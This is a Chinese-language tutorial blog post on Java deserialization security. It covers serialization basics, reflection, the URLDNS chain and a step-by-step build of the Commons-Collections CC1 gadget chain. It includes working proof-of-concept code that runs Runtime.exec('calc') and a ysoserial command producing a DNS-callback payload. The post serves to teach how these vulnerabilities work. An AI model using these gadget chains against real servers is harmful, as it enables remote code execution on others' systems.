Java反序列化从零到入门

零、环境搭建

0.1 基础环境

下面的基础的环境,不做特别说明时,均使用以下环境:

0.2 环境搭建

先下载好jdk1.8.0_65,这部分相对比较简单,不在这里赘述了,网上搜索也有相关的教程,需要注意的就是配置环境变量的部分,跟着教程走,注意一下就好了。

下面说说怎么引入源码;

打开openJDK 8u65源码链接,下载源码;

img

将下载下来的源码解压,得到源码文件,然后我们重点关注/src/share/classes/sun这个文件夹,这个就是我们需要的源码文件。

img

然后我们打开我们下载安装好的jdk1.8.0_65文件夹,其中有一个src.zip压缩文件,将其解压到当前目录下。

img

解压后,文件夹src中是没有sun文件夹的,我们将openjdk的源码文件夹/src/share/classes/sun贴过来

img

完成以上步骤就可以了,到时候我们需要查看jdk底层代码的时候就可以不需要看.class反编译的代码了。

一、反序列化基础

1.1 基本介绍

1.1.1 概念

序列化(Serialization)是指将数据结构或对象转换为一种可以存储或传输的格式的过程。这种格式通常是字节流或字符串,以便可以通过网络传输、保存到文件中或存储在数据库中。常见的序列化格式包括JSON、XML、二进制格式等。

反序列化(Deserialization)是指将序列化的数据格式转换回原始数据结构或对象的过程。通过反序列化,可以从存储或传输的格式中重新构建出原始的数据结构或对象。

简单理解:

序列化:对象 -> 字符串

反序列化:字符串 -> 对象

1.1.2 目的

序列化的目的:为了方便数据的传输;

  1. 数据持久化:将数据保存到文件、数据库等存储介质中,以便在以后重新加载和使用。
  2. 数据传输:在网络通信中,通过序列化将数据转换为可以传输的格式,并在接收端通过反序列化恢复为原始数据。
  3. 跨平台数据交换:不同系统或编程语言之间的数据交换,通过标准的序列化格式(如JSON、XML等)实现互操作性。

1.1.3 应用

  1. 想把内存中的对象保存到一个文件中或者是数据库当中。
  2. 用套接字在网络上传输对象。
  3. 通过 RMI 传输对象的时候。

1.1.4 常见的序列化格式

  1. JSON:一种轻量级的数据交换格式,易于人类阅读和编写,同时也便于机器解析和生成。
  2. XML(SOAP):一种标记语言,广泛用于文档存储和数据传输。
  3. Protobuf:Google开发的高效二进制序列化格式,适用于高性能需求的应用场景。
  4. YAML:一种易读的序列化格式,常用于配置文件。

1.2 Java原生序列化

1.2.1 Java序列化与反序列化

简单感受一下

  • 类文件:Person.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.candy.entity;

import java.io.Serializable;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.entity.Person.java
* @date 2024/10/23 09:21
*/

// 只有实现Serializable接口的类才能够序列化
public class Person implements Serializable {
private String name;
private int age;

public Person(){

}

public Person(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
  • 序列化和反序列化serialization.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.candy;

import com.candy.entity.Person;

import java.io.*;
import java.util.Base64;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.serialization.java
* @date 2024/10/23 09:24
*/

public class serialization {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = new Person("candy", 18);
// 序列化对象
byte[] ser = ser(person);
// 输出经过base64编码的序列化字节
System.out.println(Base64.getEncoder().encodeToString(ser));
// 反序列化字节数组为对象
System.out.println(deser(ser));
}

public static byte[] ser(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
return baos.toByteArray();

}
public static Object deser(byte[] ser) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(ser);
ObjectInputStream ois = new ObjectInputStream(bais);
return ois.readObject();
}
}

运行serialization.java程序后得到Person对象经过base64编码的序列化字符串,并且能够将字节经过反序列化为Person对象,输出对象时,调用对象的toString()方法

1.2.2 Serializable接口说明

  1. 序列化类的属性没有实现 Serializable 那么在序列化就会报错!
  2. 在反序列化过程中,它的父类如果没有实现序列化接口(implements Serializable),那么将需要提供无参构造函数来重新创建对象。
  3. 一个实现 Serializable 接口的子类也是可以被序列化的。
  4. 静态成员变量是不能被序列化
  5. transient 标识的对象成员变量不参与序列化

1.3 Java反序列化安全问题

1.3.1 安全问题产生原因

在序列化和反序列化中存在两个“特别特别特别特别特别特别特别特别”重要的方法——writeObject()readObject()

由于这两个方法(writeObject()readObject())能够被开发者重写,一般的序列化的重写都是由于下面的场景诞生的。

举个例子,开发者在MyList类定义了一个arr数组属性,初始化的数组长度为100。在序列化时,如果让arr属性参与序列化的话,那么长度为 100的数组都会被序列化下来,但是我们数组中可能只存放30个元素,这明显是不合理的,所有这里需要开发者自定义序列化的过程和反序列化过程,具体的做法就是重写一下两个private方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
private void writeObject(java.io.ObjectOutputStream s)throws java.io.IOException
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException
package com.candy.entity;

import java.io.IOException;
import java.io.Serializable;

/**
* @author shlin
* @project Deserializatioin
* @file com.candy.entity.Person.java
* @date 2024/10/23 09:21
*/

// 只有实现Serializable接口的类才能够序列化
public class Person implements Serializable {
private String name;
private int age;

public Person(){

}

public Person(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
in.defaultReadObject();
System.out.println("执行自定义反序列化咯!!!");
}
}

只要服务端反序列化数据,客户端传递的类的readObject()方法中的代码会自动调用,这个方法是在服务端所在的机器上运行的。因此,若readObject()中存在恶意方法的执行,就会导致服务端执行恶意代码,从而实现攻击。

解释一下传递类的readObject函数会自动执行的原因:

ObjectInputStream 反序列化一个对象时,它会检查该类是否定义了一个私有的 readObject 方法。如果存在这样的一个方法,它就会调用这个方法来反序列化对象,而不是使用默认的反序列化机制。这允许开发者在反序列化过程中插入自定义的逻辑。

所以从根本上来说,Java 反序列化的漏洞的与 readObject 有关。

1.3.2 可能存在的安全漏洞形式

  1. 入口类readObject直接调用危险函数

这种情况在实际开发场景中并不常见,但是可以用来简单理解反序列化漏洞

在入口类Person中自定义的readObject方法中调用危险函数exec调用系统命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.candy.entity;

import java.io.IOException;
import java.io.Serializable;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.entity.Person.java
* @date 2024/10/23 09:21
*/

// 只有实现Serializable接口的类才能够序列化
public class Person implements Serializable {
private String name;
private int age;

public Person(){

}

public Person(String name, int age) {
this.name = name;
this.age = age;
}

@Override
public String toString() {
return "person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
in.defaultReadObject();
System.out.println("执行自定义反序列化咯!!!");
Runtime.getRuntime().exec("calc");
}
}

serialization.java中new一个Person对象进行序列化在进行反序列化,在反序列化过程中调用了用户自定义的readObject,导致执行语句Runtime.getRuntime().exec("calc");从而调用了计算器;

img

  1. 入口类参数中包含可控类,该类有危险方法,在反序列化readObject时会调用该危险方法
  2. 入口类参数中包含可控类,该类又调用其他又危险方法的类,在反序列化readObject时调用

这个第三点呢,就是反序列化利用链的基础,我们可以通过入口类调用class1,class1调用class2,class2调用class3,….,一系列类的调用,最终classn调用了Runtime.getRuntime().exec(),从而实现攻击。

  1. 构造函数、静态代码块等类加载时隐式执行

1.4 反序列化漏洞攻击思路

  • 攻击前提:实现Serializable(implement Serializable)

基本思路:

  1. 入口类Source(重写readObject;调用常见的函数;参数类型宽泛<例如可以传入一个Object作为参数>;最好是jdk自带的类;)
  2. 找到入口类之后要找调用链gadget chain;相同名称、相同类型
  3. 执行类sink(RCE、SSRF、写文件等等),比如exec函数等等;

1.4.1 HashMap寻找入口类

  • 攻击前提,实现Serializable(implement Serializable)

img

首先,查看其自定义的反序列化函数readObject()

img

可以发现HashMap中的键key值value均是通过反序列化得到的(这个其实不重要),随后再将key变量进行hash操作传入putVal()函数中(这个比较重要);

img

发现,当key值不为空null时,会调用key的hashCode()方法;同时,我们可以发现key的类型为Object,满足所需的参数类型宽泛这一条件。因此,这个HashMap可以当作一个入口类来使用,重点就在于后续怎么利用这个入口类?利用链gadget chain怎么构造?

1.4.2 URLDNS实战

简单实践一下,手搓一下urldns这条链子,体会一下Java反序列化利用链到底是个什么东西;

URL利用链的优点如下,非常适合我们用于检测反序列化漏洞:

  1. 使⽤ Java 内置的类构造,对第三⽅库没有依赖;
  2. 在⽬标没有回显的时候,能够通过 DNS 请求得知是否存在反序列化漏洞 URL ;

先通过反序列化利用链工具 ysoserial 来体验一下这条链子到底能实现什么样的效果;(需要注意你的java应该是jdk8u65)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
java -jar ysoserial.jar URLDNS "http://7d3511d4.log.dnslog.sbs." > urldns.bin
package com.candy;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.urldnsDeser.java
* @date 2024/10/24 01:10
*/

public class urldnsDeser {
public static void main(String[] args) throws IOException, ClassNotFoundException {
deser("Your urldns.bin file absolute path");
}

public static void deser(String fileName) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
Object o = ois.readObject();
}
}

接下来我们来查看一下ysooserial项目中的urldns链

1
2
3
4
5
6
7
/**
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*/

先来看看这里利用链是什么意思?(跟入代码分析)

  1. HashMap -> readObject()
  2. HashMap -> putVal()
  3. HashMap -> hash()
  4. URL -> hashCode()
  5. URLStreamHandler->hashCode()
  6. URLStreamHandler -> getHostAddress()
  7. InetAddress -> getByName()

根据上面分析的内容,我们大致可以构造出一下的序列化内容;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class URLDNSGadgetChian {
public static void main(String[] args) throws IOException, ClassNotFoundException {
URL url = new URL("www.baidu.com");
HashMap<URL, Integer> hashMap = new HashMap<>();
hashMap.put(url, 1);

// 序列化hashMap
byte[] ser = ser(hashMap);
System.out.println(Base64.getEncoder().encodeToString(ser));

// 反序列化
Object deser = deser(ser);
}

public static byte[] ser(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream(); //定义字节数组输出流
ObjectOutputStream oos = new ObjectOutputStream(baos); //定义输出流
oos.writeObject(o); //序列化对象
return baos.toByteArray();

}
public static Object deser(byte[] ser) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(ser); //读取执行字节数组作为输入流
ObjectInputStream ois = new ObjectInputStream(bais); //将字节输入流作为输入流
return ois.readObject(); //反序列化读取对象
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.candy;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.URLDNSGadgetChian.java
* @date 2024/10/24 13:02
*/

public class URLDNSGadgetChian {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
URL url = new URL("http://dsrvtxgjvv.dgrh3.cn");

Class<? extends URL> urlClass = url.getClass();
Field hashCode = urlClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 1234);

HashMap<URL, Integer> hashMap = new HashMap<>();
hashMap.put(url, 1);

hashCode.set(url, -1);

// 序列化hashMap
byte[] ser = ser(hashMap);
System.out.println(Base64.getEncoder().encodeToString(ser));

// 反序列化
Object deser = deser(ser);
}

public static byte[] ser(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream(); //定义字节数组输出流
ObjectOutputStream oos = new ObjectOutputStream(baos); //定义输出流
oos.writeObject(o); //序列化对象
return baos.toByteArray();
}

public static Object deser(byte[] ser) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(ser); //读取执行字节数组作为输入流
ObjectInputStream ois = new ObjectInputStream(bais); //将字节输入流作为输入流
return ois.readObject(); //反序列化读取对象
}
}

二、Java反射

2.1 反射的概念

2.1.1 正射与反射

  • 正射

我们在编写代码时,当需要使用到某一个类的时候,都会先了解这个类是做什么的。然后实例化这个类,接着用实例化好的对象进行操作,这就是正射。

1
2
Student student = new Student();
student.doHomework("数学");
  • 反射

指在运行时动态地获取类的信息和操作对象的能力。反射允许程序在不知道对象具体类型的情况下,检查和操作类的结构,包括类的方法、字段、构造函数等。

新建一个类reflection.java获取Person对象;

1
2
3
public static void main(String[] args) throws ClassNotFoundException {
Class<?> pClass = Class.forName("com.candy.entity.Person");
}

2.1.2 Class对象的理解

我们程序在运行的时候会编译生成一个 .class 文件,而这个 .class 文件中的内容就是相对应的类的所有信息,比如这段程序当中:

1
2
3
public static void main(String[] args) throws ClassNotFoundException {
Class<?> pClass = Class.forName("com.candy.entity.Person");
}

其实 person.class 就是 Class,Class 也就是描述类的类。

Class 类的对象作用是运行时提供或获得某个类的信息。

2.2 反射的运用

2.2.1 反射相关的类

反射机制相关操作一般位于java.lang.reflect包中。

java反射机制组成需要重点注意以下的类:

  • java.lang.Class:类对象;
  • java.lang.reflect.Constructor:类的构造器对象;
  • java.lang.reflect.Field:类的属性对象;
  • java.lang.reflect.Method:类的方法对象;

2.2.2 反射的基本操作

反射在反序列化中一般是扮演者修改值和创建对象的责任,满足一些函数中的判断,保证利用链能够顺利进行;

  • 实例化类对象
  • 修改类属性值
  • 调用类的函数

2.2.3 获取类Class的方式

  1. 实例化对象的getClass()方法
1
2
Person p = new Person();
Class pClass = p.getClass();
  1. 使用类的.class方法
1
2
// 该类中必须导入Person类
Class personClass = Person.class;
  1. Class.forName(String className):动态加载类
1
Class psClass = Class.forName("com.candy.entity.Person");

以上是三种获取Class的方式,以下是一个简单的示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.candy;

import com.candy.entity.Person;

import java.beans.PersistenceDelegate;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.getClass.java
* @date 2024/10/24 16:25
*/

public class getClass {
public static void main(String[] args) throws ClassNotFoundException {
// 1. 实例化对象的getClass()方法
Person p1 = new Person();
Class<? extends Person> p1Class = p1.getClass();
System.out.println(p1Class.getName());

// 2. 使用类的.class方法
Class<Person> p2Class = Person.class;
System.out.println(p2Class.getName());

// 3. Class.forName(String className):动态加载类
Class<?> p3Class = Class.forName("com.candy.entity.Person");
System.out.println(p3Class.getName());
}
}

2.2.4 反射获取和修改属性值

获取成员变量Field位于 java.lang.reflect.Field 包中

  • Field[] getFields() :获取所有 public 修饰的成员变量
  • Field[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符
  • Field getField(String name) 获取指定名称的 public 修饰的成员变量
  • Field getDeclaredField(String name) 获取指定的成员变量

设置成员变量Field位于java.lang.reflect.Field包中

  • void set(Object obj, Object value):设置对象obj的Field属性为值value

在Java反序列化中比较常用的就是getDeclaredField(String name)方法,因为我们需要的是修改指定成员变量的值;getField(String name)有限制只能获取到public修饰的,但是getDeclaredField(String name)无论是否为public修饰都可以获取到。

当时存在一些特殊情况无法修改类中成员变量的值。那就是final修饰的时候,final修饰直接赋值,反射不能修改值;final修饰间接赋值,可以修改;这里不在演示,碰到的时候就会知道了,情况比较少;

1
2
3
4
5
6
7
8
9
10
11
12
public class GetAndSetField {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Person p = new Person("candy", 18);
System.out.println(p);
Class<? extends Person> pClass = p.getClass();
Field name = pClass.getDeclaredField("name");
name.setAccessible(true); //设置暴力访问
name.set(p, "hacker");

System.out.println(p);
}
}

2.2.5 反射获取和调用方法

获取成员方法位于 java.lang.Class 类中:

  • Method getMethod(String name, Class<?>… parameterTypes) :返回该类public修饰的指定名称name的方法
  • Method getDeclaredMethod(String name, Class<?>… parameterTypes) :返回该类指定名称name的方法
  • Method[] getMethods() :获取所有的public方法,包括类自身声明的public方法,父类中的public方法、实现的接口方法
  • Method[] getDeclaredMethods() : 获取该类中的所有方法

调用成员方法位于java.lang.reflect.Method类中:

  • Object invoke(Object obj, Object… args):调用指定对象obj的方法method,参数为args;

这里存在一个和获取修改属性值一样的特点,我们比较常用的是getDeclaredMethod(String name, Class<?>... parameterTypes)方法,能够满足更多情况,符合需求;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private void customMethod(String str){
System.out.println("customMethod " + str + " has been called");
}
package com.candy;

import com.candy.entity.Person;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.GetAndInvokeMethod.java
* @date 2024/10/24 17:21
*/

public class GetAndInvokeMethod {
public static void main(String[] args) throws NoSuchFieldException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Person p = new Person("candy", 18);
Class<? extends Person> pClass = p.getClass();
Method toString = pClass.getDeclaredMethod("customMethod", String.class);
toString.setAccessible(true);
toString.invoke(p, "invokeTest");
}
}

2.2.6 反射调用构造函数创建实例

获取构造函数的方法位于java.lang.Class 类中:

  • Constructor<?>[] getConstructors() :返回public修饰构造函数
  • Constructor<?>[] getDeclaredConstructors() :返回所有构造函数
  • Constructor<> getConstructor(Class<?>… parameterTypes) : 匹配和参数配型相符的public构造函数
  • Constructor<> getDeclaredConstructor(Class<?>… parameterTypes) : 匹配和参数配型相符的构造函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.candy;

import com.candy.entity.Person;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.GetAndInvokeConstructor.java
* @date 2024/10/24 19:12
*/

public class GetAndInvokeConstructor {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Class<?> pClass = Class.forName("com.candy.entity.Person");

// 调用无参构造函数实例化
Person p1 = (Person) pClass.newInstance();
System.out.println(p1);

// 获取无参构造函数实例化
Constructor<?> notParamConstructor = pClass.getDeclaredConstructor();
notParamConstructor.setAccessible(true);
Person p2 = (Person)notParamConstructor.newInstance();
System.out.println(p2);

// 获取有参构造函数实例化
Constructor<?> constructor = pClass.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Person p3 = (Person) constructor.newInstance("candy", 18);
System.out.println(p3);
}
}

2.3 利用反射执行命令

先简单了解一下Runtime

在Java编程中,Runtime 类提供了一种与Java应用程序的运行环境进行交互的方式。Runtime 类是一个单例类,它封装了应用程序运行时的环境,通过它,开发者可以访问JVM的某些底层特性和功能。以下是 Runtime 类的主要作用和功能:

单例类(Singleton)是一种设计模式,确保一个类只有一个实例,并提供全局访问点。

  1. 执行系统命令

可以使用 exec 方法来执行操作系统命令,这在需要与系统进程交互时非常有用。

1
2
3
4
5
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
  1. 内存管理
  2. 关闭JVM
  3. 添加JVM关闭钩子

在Java反序列化利用中主要运用的是其执行系统命令的功能,因此只对执行系统命令进行深入。

在正常情况下,需要通过Runtime类进行命令执行差不多如上述所示;那么问题来了,如何通过反射来调用exec呢?

来到java.lang.Runtime中发现Runtime()构造方法是私有的,所以我们不能直接通过newInstance去实例化对象,所以引申出以下两种方法调用exec方法

img

2.3.1 获取构造函数设置暴力访问

通过反射获取Runtime类的构造函数,设置可访问setAccessible(true),再实例化对象调用exec函数即可,具体实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package com.mango.reflection;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

/**
* @Project unSerialize
* @File com.mango.reflection.reflectionRuntime.java
* @Author mango
* @Date 2024/7/30 13:24
* @Description
*/

public class reflectionRuntime {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException, InvocationTargetException {
Runtime.getRuntime().exec("calc");
Class c = Class.forName("java.lang.Runtime");
Constructor con = c.getDeclaredConstructor();
con.setAccessible(true);
Object o = con.newInstance();
Method mRuntime = c.getDeclaredMethod("getRuntime");
Method mExec = c.getDeclaredMethod("exec", String.class);
Object re = mRuntime.invoke(o);
mExec.invoke(re, "calc");
}
}

2.3.2 使用单例模式直接调用getRuntime()和exec函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.mango.reflection;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

/**
* @Project unSerialize
* @File com.mango.reflection.reflectionRuntime.java
* @Author mango
* @Date 2024/7/30 13:24
* @Description
*/

public class reflectionRuntime {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, IOException, InvocationTargetException {
Class c = Class.forName("java.lang.Runtime");
Method mRuntime = c.getMethod("getRuntime");
Method mExec = c.getMethod("exec", String.class);
Object re = mRuntime.invoke(c);
mExec.invoke(re, "calc");
}
}

三、CC1利用链分析

在这里简单介绍一下Common-Collections

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

3.1 Java反序列化利用链挖掘思路

根据之前的URLDNS链可以类似的总结出来反序列化攻击的利用链寻找思路是从后面往前面去找,先找到能够利用的危险函数再往前找利用的链路和类型,我们必须要有危险函数可以实现利用,然后再一步一步往前构造实现利用链;

重点应该在于不同类的同名函数调用,通过传入危险类的实例作为参数的某个类的实例调用该同名函数实现对危险类该同名危险函数的调用(总之,我们的目的就是调用危险类的的危险函数,但是我们无法直接调用,需要通过反序列化进行调用一些平常函数然后形成链调用危险类的危险函数);

img

3.2 InvokerTransformer实现命令执行

为了能够实现漏洞利用,至少需要能够写文件或者能够命令执行,那么我们需要找到能够执行命令的地方。

commons-collections中存在一个InvokerTransformer类中的transform方法能够通过反射调用exec实现命令执行;

img

其中的input作为形参传入,iMethodNameiParamTypesiArgs三个变量均是类中属性,可以在实例化时对其进行初始化;

img

因此我们可以根据该实现调用Runtime类中的exec实现弹calc计算器;实践开始!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.candy;

import org.apache.commons.collections.functors.InvokerTransformer;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.InvokerTransfomerTransform2exec.java
* @date 2024/10/25 13:53
*/

public class InvokerTransfomerTransform2exec {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r);
}
}

现在已经成功执行了危险函数了,那么后续的工作就是如何寻找利用链,怎么让某个类反序列化的时候根据利用链依次调用到InvokerTransformer#transform()函数;

总之,目前实现了第一步,找到一个类的方法执行了危险函数;

img

3.3 TransformedMap调用transform函数

通过idea自带的查找用法查找存在哪些函数调用了该同名函数transform

img

img

可以看到总共有21个结果;如果结果数量较少或者没有,点击左边的设置,将作用域更改为所有位置即可;

对于这21个结果呢,其实还是有一部分能够继续构成链的,但是这一部分中,最后能够跟反序列化构成链的应该没几个;

那么这时候问题就来了

“那我们在实际情况中应该选哪个呢?”

“我也不知道!一个个找找看呗,能构成利用链的那个就是啦!人工深搜(dfs)一下”

在本次中应该选择的是在TransformedMap中的checkSetValue()函数

img

img

img

可以发现的是valueTransformer变量是作为类TransformedMap的属性,应该在其实例化时能够初始化;但是我们发现其构造函数是protected,无法调用其进行初始化;

img

但是,天无绝人之路!还有一个静态decorate函数能够为我们所用进行实例化;所以我们可以利用该函数其实例化一个指定属性的TransformedMap类的实例;

img

其实,细心的朋友可以发现咱们的checkSetValue函数也是protected的,我们不能够通过TransformedMap实例直接调用该函数,但是最后构造好的利用链的不同类均在内部包中,所以能够调用checkSetValue函数;

所以,我们目前先通过利用反射测试该方法是否能够成功弹出计算器;实践开始!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.candy;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.TransformedMapCheckSetValue2transform.java
* @date 2024/10/25 14:14
*/

public class TransformedMapCheckSetValue2transform {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();
Map transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

Class<? extends Map> mapClass = transformedMap.getClass();
Method checkSetValueMethod = mapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(transformedMap, r);
}
}

img

3.4 MapEntry调用checkSetValue函数

继续重复刚才查找用法的步骤,可以发现仅存在一个地方调用了同名函数

imgimg

来到调用函数的地方可以发现该类继承了MapEntry的装饰的抽象类;

img

同样TransformedMap类也继承了Map输入检查的装饰类。

这里我们需要知道一个概念就是**Map.Entry**就是在Map中的一个键值对(entry)

到这里可能会有一点难理解,因为它们均继承了Map的装饰类,在CommonCollections中对Map接口进行了自己的实现,而MapEntry类的setValue方法即是继承AbstractMapEntryDecoratorMap.Entry接口中setValue方法的实现;

img

因此,我们在通过decorate函数实例化的TransformedMap实例是通过CommonCollection实现的Map,因此该TransformedMap的Map.Entry的调用的setValue方法是MapEntry中实现的方法;

由于MapEntry是继承于Map.Entry的,所以setValue()是通过Map.Entry进行调用的;

但是说了这么多,其实我们根本也不需要管那个entry,因为跟它没什么关系啊!因为是parent变量在调用checkSetValue函数呀,我们需要的是执行checkSetValue函数;

img

通过跟踪AbstractInputCheckedMapDecorator类型可以发现,其最终是实现Map接口的,所以可以简单认为其是一个Map类型(不规范啊,别这么认为,方便理解就行);根据查看构造函数MapEntry的用法,大概可以猜测到其应该是一个默认值,即map变量,用来判断每个键值对entry归属于哪个map变量的。(大致理解和猜测,底层代码太多太复杂,看不太懂);

至此,可以得出的结论就是,通过entry调用setValue方法即可让map变量调用checkSetValue函数,这其实就已经达到我们的目的啦,因为我们要的就是让map变量调用checkSetValue函数;实践开始!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.candy;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

/**
* @author candy
* @project Deserializatioin
* @file com.candy.MapEntry2checkSetValue.java
* @date 2024/10/25 14:41
*/

public class MapEntry2checkSetValue {
public static void main(String[] args) {
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value"); // 键值是什么无所谓,主要是得有一对,这样才能取出键值对entry
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for(Map.Entry entry : transformedMap.entrySet()) {
entry.setValue(r);
}
}
}

img

3.5 AnnotationInvocationHandler入口类readObject()

在完成前面这部分内容之后可能我们会产生一个疑问,就是“什么时候我们这个链才算是结束?”其实就是存在一个重写的readObject()中调用了相应的同名函数;这时候我们可以通过反序列化调用该函数实现链的利用;

在本次的CC1链中,继续查找setValue函数的用法查找,最后在AnnotationInvocationHandler类中重写readObject函数找到了对该函数的调用;

img

img

可以看到memberValue变量的内容是跟memberValues变量有关的,也就是取出memberValues中的entry,这样只要我们将相应的map作为memberValues即可使其的entry调用setValue达到我们的目的;

